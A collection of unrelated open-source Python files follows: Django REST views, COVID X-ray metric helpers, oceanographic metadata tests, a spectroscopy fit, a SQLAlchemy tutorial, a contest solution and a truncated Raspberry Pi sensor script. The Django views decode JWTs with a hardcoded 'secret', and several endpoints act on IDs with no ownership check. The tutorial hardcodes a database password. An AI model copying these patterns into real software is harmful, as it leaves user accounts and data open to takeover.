{"seq_id":"33380278063","text":"import jwt\r\nimport cloudinary.uploader \r\nfrom rest_framework.response import Response\r\nfrom rest_framework import status\r\nfrom rest_framework.decorators import api_view\r\nfrom drf_spectacular.utils import extend_schema\r\nfrom django.shortcuts import get_object_or_404, render\r\nfrom accounts.models import Accounts, Address\r\nfrom artist.models import Artist, Event, Post\r\nfrom artist.serializers import eventSerializer, postSerializer\r\nfrom userapp.models import Booking, Order \r\nfrom .serializers import addressSerializer, bookingSerializer, orderSerializer, paymentSerializer, userSerializer\r\n# Create your views here.\r\n\r\n\r\n@extend_schema(responses=userSerializer)\r\n@api_view(['POST'])\r\ndef verify_token(request):\r\n    print(request.headers,'kkkkkkkkkkkkkk')\r\n    token = request.data['token']\r\n    decoded = jwt.decode(token,'secret',alogrithms='HS256')\r\n    admi_n = Accounts.objects.get(email = decoded.get('email'))\r\n    serializer = userSerializer(admi_n,many=False)\r\n    if admi_n:\r\n        return Response(serializer.data)\r\n    else:\r\n        return Response({'status': 'Token Invalid'})  \r\n\r\n\r\n@extend_schema(responses=userSerializer(many=False))\r\n@api_view(['GET'])\r\ndef user_profile(request,id):\r\n    try:\r\n        user = Accounts.objects.get(id=id)\r\n        serializer = userSerializer(user,many=False)\r\n        user_details = serializer.data\r\n        return Response({'data':user_details}, status=status.HTTP_200_OK)\r\n    except Accounts.DoesNotExist:\r\n        return Response({'error': 'User not found'}, status=status.HTTP_404_NOT_FOUND)\r\n\r\n\r\n@api_view(['POST'])\r\ndef userProfilePic(request, user_id):\r\n    user = Accounts.objects.get(id=user_id)   # Assuming the artist is authenticated\r\n    profile_picture = request.FILES[\"profile_img\"]\r\n    if profile_picture:\r\n        upload_result = cloudinary.uploader.upload(\r\n            profile_picture,\r\n            folder='profiles'\r\n        )\r\n        print(upload_result, 'lllllllllllllll')\r\n        profile_picture_url = upload_result['secure_url']\r\n       # Update the profile_img field with the image URL\r\n        user.profile_img = profile_picture_url\r\n        user.save()\r\n        return Response({\"profile_picture_url\": profile_picture_url})\r\n    else:\r\n        return Response({\"message\": \"Unsuccessful\"})\r\n\r\n\r\n@api_view(['POST'])\r\ndef userCoverPic(request, user_id):\r\n    user = Accounts.objects.get(id=user_id)   # Assuming the artist is authenticated\r\n    cover_picture = request.FILES[\"cover_img\"]\r\n    if cover_picture:\r\n        upload_result = cloudinary.uploader.upload(\r\n            cover_picture,\r\n            folder='profiles'\r\n        )\r\n        print(upload_result, 'lllllllllllllll')\r\n        cover_picture_url = upload_result['secure_url']\r\n       # Update the cover_img field with the image URL\r\n        user.cover_img = cover_picture_url\r\n        user.save()\r\n        return Response({\"cover_picture_url\": cover_picture_url})\r\n    else:\r\n        return Response({\"message\": \"Unsuccessful\"})\r\n    \r\n\r\n\r\n@extend_schema(responses=userSerializer)\r\n@api_view(['PUT'])\r\ndef user_profile_update(request,id):\r\n    try:\r\n        user = Accounts.objects.get(id=id)\r\n        serializer = userSerializer(user,data=request.data)\r\n        if serializer.is_valid():\r\n            serializer.save()\r\n            return Response(\"Profile updated Successfully\")\r\n        else:\r\n            return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\r\n    except Accounts.DoesNotExist:\r\n        return Response(\"Artist bot found\", status=status.HTTP_404_NOT_FOUND )\r\n\r\n\r\n@extend_schema(responses=eventSerializer)\r\n@api_view(['GET'])\r\ndef event_details(request,id):\r\n    events = Event.objects.filter(conducting_artist_id=id)\r\n    serializer = eventSerializer(events,many=True)\r\n    return Response(serializer.data)\r\n\r\n\r\n@extend_schema(responses=bookingSerializer)\r\n@api_view(['PATCH'])\r\ndef booking_event(request):\r\n    booking_serializer = bookingSerializer(data=request.data)\r\n    if booking_serializer.is_valid() :\r\n        booking_data = booking_serializer.validated_data\r\n        event_id = booking_data['eventname'].id\r\n        slot_no = booking_data['slot_no']\r\n        # Get the event\r\n        try:\r\n            event = Event.objects.get(id=event_id)\r\n        except Event.DoesNotExist:\r\n            return Response({'error': 'Event not found'}, status=status.HTTP_404_NOT_FOUND)\r\n        # Check if the total_slots is already zero\r\n        if event.total_slots == 0:\r\n            return Response({'error': 'No available slots'}, status=status.HTTP_400_BAD_REQUEST)\r\n        # Calculate the new total_slots value\r\n        new_total_slots = event.total_slots - slot_no\r\n        if new_total_slots < 0:\r\n            new_total_slots = 0\r\n        # Update the event's total_slots\r\n        event.total_slots = new_total_slots\r\n        event.save()\r\n        # Save the booking\r\n        booking_serializer.save()\r\n        return Response({'status': 'Event booked successfully'}, status=status.HTTP_201_CREATED)\r\n    return Response(booking_serializer.errors, status=status.HTTP_400_BAD_REQUEST)\r\n\r\n\r\n@extend_schema(responses=bookingSerializer)\r\n@api_view(['GET'])\r\ndef bookedevent_list(request,id):\r\n    booked_list = Booking.objects.filter(username=id)\r\n    serializer = bookingSerializer(booked_list,many=True)\r\n    return Response(serializer.data,status=status.HTTP_200_OK)\r\n    \r\n\r\n\r\n\r\n@extend_schema(responses=postSerializer)\r\n@api_view(['GET'])\r\ndef artists_postlist(request,artist_id):\r\n    posts = Post.objects.filter(artist_id = artist_id)\r\n    serializer = postSerializer(posts,many=True)\r\n    return Response(serializer.data,status=status.HTTP_200_OK)\r\n\r\n\r\n# @extend_schema(responses=postSerializer)\r\n# @api_view(['GET'])\r\n# def buy_post(request,post_id):\r\n#     try:\r\n#         address = Address.objects.get(user=request.user)\r\n#         post = Post.objects.get(id=post_id)\r\n#         base_price = post.base_price\r\n#         shipping_price = post.shipping_price\r\n#         total_price = base_price + shipping_price\r\n#         data = {\r\n#             'post':post.id,'base_price':base_price,\r\n#             'shipping_price':shipping_price,'total_price':total_price,\r\n#             'address':address\r\n#             } \r\n#         return Response(data, status=status.HTTP_201_CREATED)\r\n#     except Post.DoesNotExist:\r\n#         return Response({'status':'Post not found'},status=status.HTTP_400_BAD_REQUEST)\r\n    \r\n\r\n@extend_schema(responses=addressSerializer)\r\n@api_view(['POST'])\r\ndef add_address(request):\r\n    serializer = addressSerializer(data=request.data)\r\n    if serializer.is_valid():\r\n        serializer.save(user=request.user)\r\n        return Response(\"New address added succesfully\", status=status.HTTP_201_CREATED)\r\n    return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\r\n\r\n\r\n@extend_schema(responses=addressSerializer)\r\n@api_view(['GET'])\r\ndef address_details(request,userid):\r\n    adresses = Address.objects.filter(user_id=userid)\r\n    serializer = addressSerializer(adresses,many=True)\r\n    return Response({'data':serializer.data},status=status.HTTP_200_OK)\r\n\r\n\r\n@extend_schema(responses=addressSerializer)\r\n@api_view(['DELETE'])\r\ndef delete_address(request,id):\r\n    address = get_object_or_404(Address,id=id)\r\n    address.delete()\r\n    return Response(\"Address deleted successfully\")\r\n\r\n\r\n@extend_schema(responses=orderSerializer)\r\n@api_view(['GET'])\r\ndef order_list(request,user_id):\r\n    order_list = Order.objects.filter(user_buyer=user_id)\r\n    serializer = orderSerializer(order_list,many=True)\r\n    return Response({'data':serializer.data},status=status.HTTP_200_OK)\r\n    \r\n\r\n     ","repo_name":"Hiba-moidutty/Artyphillic-Proj-Backend","sub_path":"userapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"15719618365","text":"import os\nimport json\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom skimage.io import imread\nfrom skimage.transform import resize\n\nfrom sklearn.metrics import confusion_matrix, precision_score, recall_score, f1_score, accuracy_score\n\n# set paths\nDIR_DATA_LOCAL = 'data/COVID-19_Radiography_Dataset/'  # set to local path\nDIR_DATA_COLAB = 'data/'  # path in Google Drive\n\nLST_GROUP = ['covid', 'normal', 'viral', 'opac']\nLST_FOLDERS = ['COVID', 'Normal', 'Viral Pneumonia', 'Lung_Opacity']\nFNAME_MAPPER = dict(zip(LST_GROUP, LST_FOLDERS))\nLABEL_MAPPER = dict(zip(LST_GROUP, range(4)))\n\nDIRS = dict(zip(LST_GROUP, [os.path.join(DIR_DATA_LOCAL, folder) for folder in LST_FOLDERS]))\nDIR_IMAGES = dict(zip(LST_GROUP, [os.path.join(dir, 'images') for dir in DIRS.values()]))\nDIR_MASKS = dict(zip(LST_GROUP, [os.path.join(dir, 'masks') for dir in DIRS.values()]))\nDIR_OUTPUT = \"projet_radio_covid/results/\"\n\nNUM_ALL_IMG = [3616, 10192, 1345, 6012]\n\n\n# naming / paths\ndef get_fname(group, idx):\n    return (f\"{FNAME_MAPPER[group]}-{idx}.png\")\n\n\ndef get_dir_pred(clf_name):\n    dir_pred = os.path.join(DIR_OUTPUT, 'pred_' + clf_name)\n    if not os.path.exists(dir_pred):\n        os.mkdir(dir_pred)\n        print(dir_pred, \"folder created\")\n    return dir_pred\n\n\ndef get_path_metric(clf_name):\n    return os.path.join(DIR_OUTPUT, 'metrics_' + clf_name + '.json')\n\n\ndef get_str_param(dict_params):\n    \"\"\"\n    Transform a dictionary of parameters into a single string.\n    :param dict_params: dict: parameters of a function\n    :return: str: string of the parameters' name and value\n    \"\"\"\n    str_param = ''\n    if dict_params is None:\n        return \"default\"\n    else:\n        for key, value in dict_params.items():\n            if type(value) in [list, tuple]:  # convert list or tuple to str, using \"_\" to connect the elements\n                str_param += '_' + key + '_' + \"_\".join([str(v) for v in value]) if len(value) > 1 else value\n            else:\n                str_param += ('_' + key + '_' + str(value))\n        str_param = str_param.replace('True', 't')  # to make the string shorter: True -> t, False -> f\n        str_param = str_param.replace('False', 'f')\n        str_param = str_param.replace('.', 'd')  # replace dot of decimal by \"d\"\n        str_param = str_param.replace('e-', 'e')  # remove '-' in scientific notation e.g. 5.3e-3\n        str_param = str_param.replace(' ', '')\n        return str_param[1:].lower()\n\n\n# results saving\ndef save_pred(y_test, y_pred, clf_name, preprocess_params, clf_params):\n    \"\"\"\n    save the prediction results to google drive\n    \"\"\"\n    dir_pred = get_dir_pred(clf_name)\n    if not os.path.exists(os.path.join(dir_pred, get_str_param(preprocess_params))):\n        os.mkdir(os.path.join(dir_pred, get_str_param(preprocess_params)))\n\n    pd.DataFrame({'y_test': y_test, 'y_pred': y_pred}).to_csv(\n        os.path.join(dir_pred, get_str_param(preprocess_params), get_str_param(clf_params) + '.txt'),\n        sep='\\t', header=True, index=False)\n    return None\n\n\ndef get_metrics(y_test, y_pred, clf_params, preprocess_params):\n    \"\"\"\n    Get the metrics of interests and return them in a dictionary.\n    :param y_test: True values of the labels of the test set\n    :param y_pred: predicted labels of the test set\n    :param clf_params: dict: parameters of the classifier\n    :param preprocess_params: dict: parameters of the preprocessing\n    :return: evaluation metrics as a dictionary\n    \"\"\"\n    # Calculate the evaluation metrics\n    precision = precision_score(y_test, y_pred, average=None)\n    recall = recall_score(y_test, y_pred, average=None)\n    f1 = f1_score(y_test, y_pred, average=None)\n    accuracy = accuracy_score(y_test, y_pred)\n    confusion_matrix_array = confusion_matrix(y_test, y_pred)\n\n    # Store the metrics in a dictionary\n    results = {\n        'preprocess_params': get_str_param(preprocess_params),\n        \"clf_params\": get_str_param(clf_params),\n        \"precision\": precision.tolist(),\n        \"recall\": recall.tolist(),\n        \"f1\": f1.tolist(),\n        \"accuracy\": accuracy.tolist(),\n        \"confusion_matrix\": confusion_matrix_array.tolist()\n    }\n\n    return results\n\n\ndef save_metrics(y_test, y_pred, clf_name, preprocess_params, clf_params=None):\n    \"\"\"\n    get and save the metrics in google drive\n    \"\"\"\n    path_metric = get_path_metric(clf_name)\n    new_result = get_metrics(y_pred, y_test, clf_params, preprocess_params)\n\n    if not os.path.exists(path_metric):\n        print(\"new file\", path_metric, \"created\")\n        with open(path_metric, 'w') as fo:\n            json.dump({}, fo)\n\n    try:\n        with open(path_metric, 'r') as fi:\n            all_results = json.load(fi)\n    except:\n        all_results = {}\n\n    if all_results is None:\n        all_results = {}\n\n    all_results.update({len(all_results): new_result})\n\n    with open(path_metric, 'w') as fo:\n        json.dump(all_results, fo)\n\n\n# results loading as format of dataframe\ndef load_summary_metrics(lst_clf_names, lst_str_clf_params, str_preprocess_param):\n    \"\"\"\n    load the results of the metrics of previous training and present as a dataframe\n    :param lst_clf_names: list of strs\n    :param lst_str_clf_params: list of strings of parameters for each classifier\n    :param str_preprocess_param: list of strings of preprocessing parameters\n    :return: a dataframe with clf_name as columns and metrics as rows\n    \"\"\"\n    recall_covid = []\n    recall_sick = []\n    precision_normal = []\n    precision_non_covid = []\n    mean_recall = []\n    mean_precision = []\n    mean_f1 = []\n    accuracy = []\n\n    assert len(lst_str_clf_params) == len(lst_clf_names)\n    for i in range(len(lst_clf_names)):\n        clf_name = lst_clf_names[i]\n        str_clf_param = lst_str_clf_params[i]\n        try:\n            with open(get_path_metric(clf_name), 'r') as fi:\n                all_metrics = json.load(fi)\n        except:\n            print(clf_name, \"results are missing\")\n\n        metric = [value for key, value in all_metrics.items() if\n                  (value['preprocess_params'] == str_preprocess_param) and (\n                          value['clf_params'] == str_clf_param)]\n        if len(metric) == 0:\n            print(clf_name, \"results are missing for given parameters\")\n            break\n        else:\n            # keep only the lastest result in case the same experiment was repeated.\n            metric = metric[-1]\n\n        recall_covid.append(metric['recall'][0])\n        recall_sick.append((metric['recall'][0] + sum(metric['recall'][2:])) / 3)\n        precision_non_covid.append(np.mean(metric['precision'][1:]))\n        precision_normal.append(metric['precision'][1])\n        mean_recall.append(np.mean(metric['recall']))\n        mean_precision.append(np.mean(metric['precision']))\n        mean_f1.append(np.mean(metric['f1']))\n        accuracy.append(metric['accuracy'])\n\n    df_summary_metric = pd.DataFrame({\n        \"recall_covid\": recall_covid,\n        'recall_sick': recall_sick,\n        \"precision_non_covid\": precision_non_covid,\n        \"precision_normal\": precision_normal,\n        \"mean_recall\": mean_recall,\n        \"mean_precision\": mean_precision,\n        'mean_f1': mean_f1,\n        \"accuracy\": accuracy\n    }).T.round(2)\n    df_summary_metric.columns = lst_clf_names\n    return df_summary_metric\n","repo_name":"qiiiibeau/radio_covid","sub_path":"code/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"32356098380","text":"#!python\n# coding=utf-8\nimport os\nimport unittest\nfrom datetime import datetime, timedelta\n\nimport pandas as pd\nimport pytz\nfrom dateutil.parser import parse as dtparse\n\nfrom pocean import logger as L  # noqa\nfrom pocean.cf import CFDataset\nfrom pocean.dsg import utils\n\n\nclass TestDsgUtils(unittest.TestCase):\n\n    geo = pd.DataFrame({\n        'x': [-1, -2, -3, -4],\n        'y': [1, 2, 3, 4]\n    })\n\n    z = pd.DataFrame({\n        'z': [1, 2, 3, 4],\n    })\n\n    times = pd.DataFrame({\n        't': pd.to_datetime([\n            '2018-08-19 00:00:00',\n            '2018-08-20 00:00:00',\n            '2018-08-21 00:00:00',\n            '2018-08-22 00:00:00',\n            '2018-08-23 00:00:00',\n            '2018-08-23 00:00:05',\n        ])\n    })\n\n    avgtimes = pd.DataFrame({\n        't': pd.to_datetime([\n            '2018-08-19 00:00:00',\n            '2018-08-20 23:00:55',\n            '2018-08-21 00:00:35',\n        ])\n    })\n\n    def test_get_vertical_meta(self):\n        meta = utils.get_vertical_attributes(self.z)\n\n        assert meta == {\n            'variables': {\n                'z': {\n                    'attributes': {\n                        'actual_min': 1,\n                        'actual_max': 4,\n                    }\n                },\n            },\n            'attributes': {\n                'geospatial_vertical_min': 1,\n                'geospatial_vertical_max': 4,\n                'geospatial_vertical_units': 'm',\n            }\n        }\n\n    def test_get_geospatial_meta(self):\n        meta = utils.get_geographic_attributes(self.geo)\n\n        assert meta == {\n            'variables': {\n                'y': {\n                    'attributes': {\n                        'actual_min': 1,\n                        'actual_max': 4,\n                    }\n                },\n                'x': {\n                    'attributes': {\n                        'actual_min': -4,\n                        'actual_max': -1,\n                    }\n                },\n            },\n            'attributes': {\n                'geospatial_lat_min': 1.0,\n                'geospatial_lat_max': 4.0,\n                'geospatial_lon_min': -4.0,\n                'geospatial_lon_max': -1.0,\n                'geospatial_bbox': 'POLYGON ((-1 1, -1 4, -4 4, -4 1, -1 1))',\n                'geospatial_bounds': 'LINESTRING (-1 1, -4 4)',\n                'geospatial_bounds_crs': 'EPSG:4326',\n            }\n        }\n\n    def test_get_temporal_meta_from_times_average(self):\n        meta = utils.get_temporal_attributes(self.avgtimes)\n\n        assert meta == {\n            'variables': {\n                't': {\n                    'attributes': {\n                        'actual_min': '2018-08-19T00:00:00Z',\n                        'actual_max': '2018-08-21T00:00:35Z',\n                    }\n                }\n            },\n            'attributes': {\n                'time_coverage_start': '2018-08-19T00:00:00Z',\n                'time_coverage_end': '2018-08-21T00:00:35Z',\n                'time_coverage_duration': 'P2DT0H0M35S',\n                'time_coverage_resolution': 'P0DT16H0M12S',\n            }\n        }\n\n    def test_get_temporal_meta_from_times(self):\n        meta = utils.get_temporal_attributes(self.times)\n\n        assert meta == {\n            'variables': {\n                't': {\n                    'attributes': {\n                        'actual_min': '2018-08-19T00:00:00Z',\n                        'actual_max': '2018-08-23T00:00:05Z',\n                    }\n                }\n            },\n            'attributes': {\n                'time_coverage_start': '2018-08-19T00:00:00Z',\n                'time_coverage_end': '2018-08-23T00:00:05Z',\n                'time_coverage_duration': 'P4DT0H0M5S',\n                'time_coverage_resolution': 'P1DT0H0M0S',\n            }\n        }\n\n    def test_get_creation(self):\n        meta = utils.get_creation_attributes(history='DID THINGS')\n\n        now = datetime.utcnow().replace(tzinfo=pytz.utc)\n\n        assert (now - dtparse(meta['attributes']['date_created'])) < timedelta(minutes=1)\n        assert (now - dtparse(meta['attributes']['date_issued'])) < timedelta(minutes=1)\n        assert (now - dtparse(meta['attributes']['date_modified'])) < timedelta(minutes=1)\n        assert 'DID THINGS' in meta['attributes']['history']\n\n    def test_wrap_dateline(self):\n        ncfile = os.path.join(os.path.dirname(os.path.dirname(__file__)), \"resources/wrapping_dateline.nc\")\n\n        with CFDataset.load(ncfile) as ncd:\n            axes = {\n                't': 'time',\n                'z': 'z',\n                'x': 'lon',\n                'y': 'lat',\n            }\n            df = ncd.to_dataframe(axes=axes)\n\n            meta = utils.get_geographic_attributes(df, axes=axes)\n\n            assert meta == {\n                \"variables\": {\n                    \"lat\": {\n                        \"attributes\": {\n                            \"actual_min\": 61.777,\n                            \"actual_max\": 67.068\n                        }\n                    },\n                    \"lon\": {\n                        \"attributes\": {\n                            \"actual_min\": -179.966,\n                            \"actual_max\": 179.858\n                        }\n                    }\n                },\n                \"attributes\": {\n                    \"geospatial_lat_min\": 61.777,\n                    \"geospatial_lat_max\": 67.068,\n                    \"geospatial_lon_min\": -179.966,\n                    \"geospatial_lon_max\": 179.858,\n                    \"geospatial_bbox\": \"POLYGON ((198.669 61.777, 198.669 67.068, 174.79200000000003 67.068, 174.79200000000003 61.777, 198.669 61.777))\",\n                    'geospatial_bounds': \"POLYGON ((174.79200000000003 61.777, 174.92599999999993 62.206, 178.812 64.098, 192.86 67.029, 196.86 67.068, 197.094 67.044, 198.669 66.861, 187.784 64.188, 179.10799999999995 62.266, 176.16899999999998 61.862, 174.79200000000003 61.777))\",\n                    \"geospatial_bounds_crs\": \"EPSG:4326\"\n                }\n            }\n\n    def test_wrap_small_coords(self):\n\n        geo = pd.DataFrame({\n            'x': [-1, -2],\n            'y': [1, 2]\n        })\n\n        meta = utils.get_geographic_attributes(geo)\n\n        assert meta == {\n            'variables': {\n                'y': {\n                    'attributes': {\n                        'actual_min': 1,\n                        'actual_max': 2,\n                    }\n                },\n                'x': {\n                    'attributes': {\n                        'actual_min': -2,\n                        'actual_max': -1,\n                    }\n                },\n            },\n            'attributes': {\n                'geospatial_lat_min': 1,\n                'geospatial_lat_max': 2,\n                'geospatial_lon_min': -2,\n                'geospatial_lon_max': -1,\n                'geospatial_bbox': 'POLYGON ((-1 1, -1 2, -2 2, -2 1, -1 1))',\n                'geospatial_bounds': 'LINESTRING (-1 1, -2 2)',\n                'geospatial_bounds_crs': 'EPSG:4326',\n            }\n        }\n\n    def test_wrap_same_coords(self):\n\n        geo = pd.DataFrame({\n            'x': [-1, -1, -1],\n            'y': [1, 1, 1]\n        })\n\n        meta = utils.get_geographic_attributes(geo)\n\n        assert meta == {\n            'variables': {\n                'y': {\n                    'attributes': {\n                        'actual_min': 1,\n                        'actual_max': 1,\n                    }\n                },\n                'x': {\n                    'attributes': {\n                        'actual_min': -1,\n                        'actual_max': -1,\n                    }\n                },\n            },\n            'attributes': {\n                'geospatial_lat_min': 1,\n                'geospatial_lat_max': 1,\n                'geospatial_lon_min': -1,\n                'geospatial_lon_max': -1,\n                'geospatial_bbox': 'POLYGON ((-1 1, -1 1, -1 1, -1 1))',\n                'geospatial_bounds': 'POINT (-1 1)',\n                'geospatial_bounds_crs': 'EPSG:4326',\n            }\n        }\n","repo_name":"pyoceans/pocean-core","sub_path":"pocean/tests/dsg/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":8081,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"36"}
{"seq_id":"39883611461","text":"\"\"\"\"Fit a benzene from a reference cross section\"\"\"\nfrom spectr.env import *\n\n## Set the benzene cross section file path and a background scan\n## filename.  This o[..] stuff is a shortcut for setting values in the\n## o.parameters dictionary.\no = spectrum.FitAbsorption(filename='data/2021_11_30_benzene+N2_43.9Torr_360s.0')\no['species','C6H6','filename'] = 'data/C6H6_298.0_760.0_600.0-6500.0_09.xsc'\no['background','filename'] = 'data/2021_11_30_bcgr.0'\n\n## Fit C6H6 and CO.  Because no cross section file is specified it\n## will look for or download a linelist from HITRAN like normal.\no.verbose =  True               # do not print anything while optimising\no.fit(\n    species_to_fit=(\n        'C6H6',\n        'CO',\n    ),\n    region='bands',\n    fit_N= True,         \n    fit_pair= True,             # only affects CO, C6H6 broadening is embedded in the spectrum\n    fit_intensity= True,        # scale the background scan\n    fig=1,                      \n)\nprint(o)\nshow()\n\n\n\n","repo_name":"aheays/spectr_examples","sub_path":"absorption/fit_absorption_3.py","file_name":"fit_absorption_3.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"24920115237","text":"# python 另一种方式与 Mysql 进行交互： ORM框架\n# 持久化层：在业务逻辑层和数据库层起到了衔接作用，他可以将内存中的数据模型转化为存储模型，或者将存储模型转化为内存中的数据模型。\n# 业务逻辑层：业务对象（对象、属性、继承）--》 持久化层（ORM--》ODBC/JDBC）--》 数据库层（RDBMS：表、字段、索引））\n# ORM(Object Relation Mapping) 对象关系映射:她是RDBMS和业务实体对象之间的一个映射，可以吧底层的RDBMS封装成业务实体对象，提供给业务逻辑使用。\nfrom sqlalchemy import create_engine\nfrom sqlalchemy import Column, String, Integer, Float\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import or_\nfrom sqlalchemy import func\n\n\n# 创建对象的基类：\nBase = declarative_base()\n# 定义Player对象：\nclass Player(Base):\n  # 表名\n  __tablename__ = 'player'\n\n  # 表的结构：\n  player_id = Column(Integer, primary_key=True, autoincrement=True)\n  team_id = Column(Integer)\n  player_name = Column(String(255))\n  height = Column(Float(3,2))\n\n# 初始化数据库连接\nengine = create_engine('mysql+mysqlconnector://root:09090909@localhost:3306/wz')\n# 创建 DBSession 类型：\nDBSession = sessionmaker(bind=engine)\n\n# 创建 session 对象：\nsession = DBSession()\n# 创建Player对象：\nnew_player = Player(team_id=1003, player_name=\"约翰-科林斯\", height=2.08)\n# 增\n# 添加 到session\nsession.add(new_player)\n# 提交即保存到数据库\nsession.commit()\n\n# 查\n# to_dict() 方法到Base类中\ndef to_dict(self):\n  return {\n    c.name: getattr(self, c.name, None) for c in self.__table__.columns\n  }\nBase.to_dict = to_dict\n# 查询身高 >= 2.08m 的球员\nrows = session.query(Player).filter(Player.height >= 2.08).all()\n# rows = session.query(Player).filter(Player.height >= 2.08, Player.height <= 2.10).all()\n# rows = session.query(Player).filter(or_(Player.height >= 2.08, Player.height <= 2.10)).all()\n# rows = session.query(Player.team_id, func.count(Player.player_id)).group_by(Player.team_id).having(func.count(Player.player_id) > 5).order_by(func.count(Player.player_id).asc()).all()\nprint([row.to_dict() for row in rows])\n\n# 改\nrow = session.query(Player).filter(Player.player_name=='索恩-马克').first()\nrow.height = 2.17\nsession.commit()\n\n\n# 删\nrow = session.query(Player).filter(Player.player_name=='约翰-科林斯').first()\nsession.delete(row)\nsession.commit()\n\n# 关闭session\nsession.close()\n\n\n\n# SQLAlchemy中，采用 Column 对字段进行定义，常用的数据类型：\n#   Integer 整数型\n#   Float   浮点类型\n#   Decimal 定点类型\n#   Boolean 布尔类型\n#   Date    datetime.date 日期类型\n#   Time    datetime.time 时间类型\n#   String  字符串类型，使用时需要指定长度，区别于 Text 类型\n#   Text    文本类型\n\n#   除了指定 Column 的数据类型外，也可以指定 Column 的参数，对对象创建列约束\n#   default       默认值\n#   primary_key   是否为主键\n#   unique        是否唯一\n#   autoincrement 是否自动增长","repo_name":"dayuy/straw","sub_path":"dbms/orm.py","file_name":"orm.py","file_ext":"py","file_size_in_byte":3151,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"14859536598","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef f(n, r, primary):\n return primary * (1 + r/100)**n\n\n\nx = np.linspace(1,99)\nprimary = 100\nr = 5\ny = f(x,r,primary)\nax1 = plt.plot(x,y) \n\nprint(type(ax1))\nprint(ax1)\nplt.show()\n\n#============================================\n\ny1 = np.array([1.0,2.0,3.0,4.0,5.0])\ny2 = np.array([1.2,1.6,3.1,4.2,4.8])\ny3 = np.array([3.2,1.1,2.0,3.9,2.5])\n\nfig,ax2 = plt.subplots()\nprint(type(ax2)) #\nprint(type(fig)) # fig representa a figura background\nlines = ax2.plot(y1,'o-',y2,'x--',y3,'*-.')\nax2.set_title(\"Plot of the data y1,y2, and y3\")\nax2.set_xlabel(\"x axis label\")\nax2.set_ylabel(\"y axis label\")\nax2.legend((\"data y1\",\"data y2\",\"data y3\"))\nplt.show()\n\n#==============================================================#\n\n#plot1\n\n\nx1 = np.array([0,1,2,3])\ny2 = np.array([3,8,1,10])\n\nfig,ax3 = plt.subplots(2,2)\nax3.set_title(\"Plot of the data y2\")\nax3.set_xlabel(\"x axis label\")\nax3.set_ylabel(\"y axis label\")\nax3.legend((\"data y2\"))\n\nplt.subplot(2,2,3)\nplt.plot(x1,y2)\nplt.title(\"SALES\")\n\n#plot2\nx = np.array([0,1,2,3])\ny = np.array([10,20,30,40])\n\nplt.subplot(2,2,2)\nplt.plot(x1,y2)\nplt.title(\"INCOME\")\n\nplt.suptitle(\"MY SHOP\")\nplt.show()\n\nplt.savefig(\"figure.1.png\")","repo_name":"Fiugas/python","sub_path":"Imagem2D.py","file_name":"Imagem2D.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"7557854468","text":"def get_cows(i, prefs, queues, initial):\n  first, second = prefs[i]\n  assert queues[first][0] == i\n  queues[first].pop(0)\n  assert (len(queues[second]) == 0 or queues[second][0] != i)\n  return initial - clean(first, prefs, queues)\n\ndef clean(first, prefs, queues): \n  if len(queues[first]) == 0: \n      return 1\n  while True:\n    i = queues[first][0]\n    first, second = prefs[i]\n    if queues[first][0] == i:\n      if len(queues[second]) == 0 or queues[second][0] != i: \n        return 0\n      queues[second].pop(0)\n      if len(queues[second]) == 0:\n        return 1\n      i = queues[second][0]\n      first, second = prefs[i]\n    else:\n      return 0\n\nwith open(\"cereal.in\", \"r\") as fin, open(\"cereal.out\", \"w\") as fout:\n  N, M = (int(i) for i in fin.readline().split()) \n  queues = [[] for i in range(M)]\n  prefs = []\n  for i in range(N):\n    prefs.append([int(j) - 1 for j in fin.readline().split()])\n  initial = 0\n  taken = [False for i in range(M)]\n  for i in range(len(prefs)):\n    first_q = prefs[i][0]\n    second_q = prefs[i][1]\n    queues[first_q].append(i)\n    if not taken[first_q]:\n      initial += 1\n      taken[first_q] = True\n    else:\n      queues[second_q].append(i)\n      if not taken[second_q]:\n        initial += 1\n        taken[second_q] = True\n  fout.write(str(initial) + \"\\n\")\n  for i in range(N - 1):\n    initial = get_cows(i, prefs, queues, initial)\n    fout.write(str(initial) + \"\\n\")\n  ","repo_name":"chenant2017/USACO","sub_path":"Silver/Training/cereal.py","file_name":"cereal.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"}
{"seq_id":"42019786033","text":"from flask import Flask, request\nfrom flask_restful import Resource, Api\nfrom sqlalchemy import create_engine\nfrom json import dumps\nfrom flask_jsonpify import jsonify\nfrom threading import Timer, Thread, Event\n\nimport RPi.GPIO as GPIO\nimport smbus\nimport time\nimport signal\n\nfirstevent = False\n\ndb_connect = create_engine('sqlite:///chinook.db')\napp = Flask(__name__)\napi = Api(app)\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\nGPIO.setup(25, GPIO.OUT)\n\n# Define some constants from the datasheet\n\nDEVICE     = 35 # Default device I2C address\n\nPOWER_DOWN = 0x00 # No active state\nPOWER_ON   = 0x01 # Power on\nRESET      = 0x07 # Reset data register value\n\n# Start measurement at 4lx resolution. Time typically 16ms.\nCONTINUOUS_LOW_RES_MODE = 0x13\n# Start measurement at 1lx resolution. Time typically 120ms\nCONTINUOUS_HIGH_RES_MODE_1 = 0x10\n# Start measurement at 0.5lx resolution. Time typically 120ms\nCONTINUOUS_HIGH_RES_MODE_2 = 0x11\n# Start measurement at 1lx resolution. Time typically 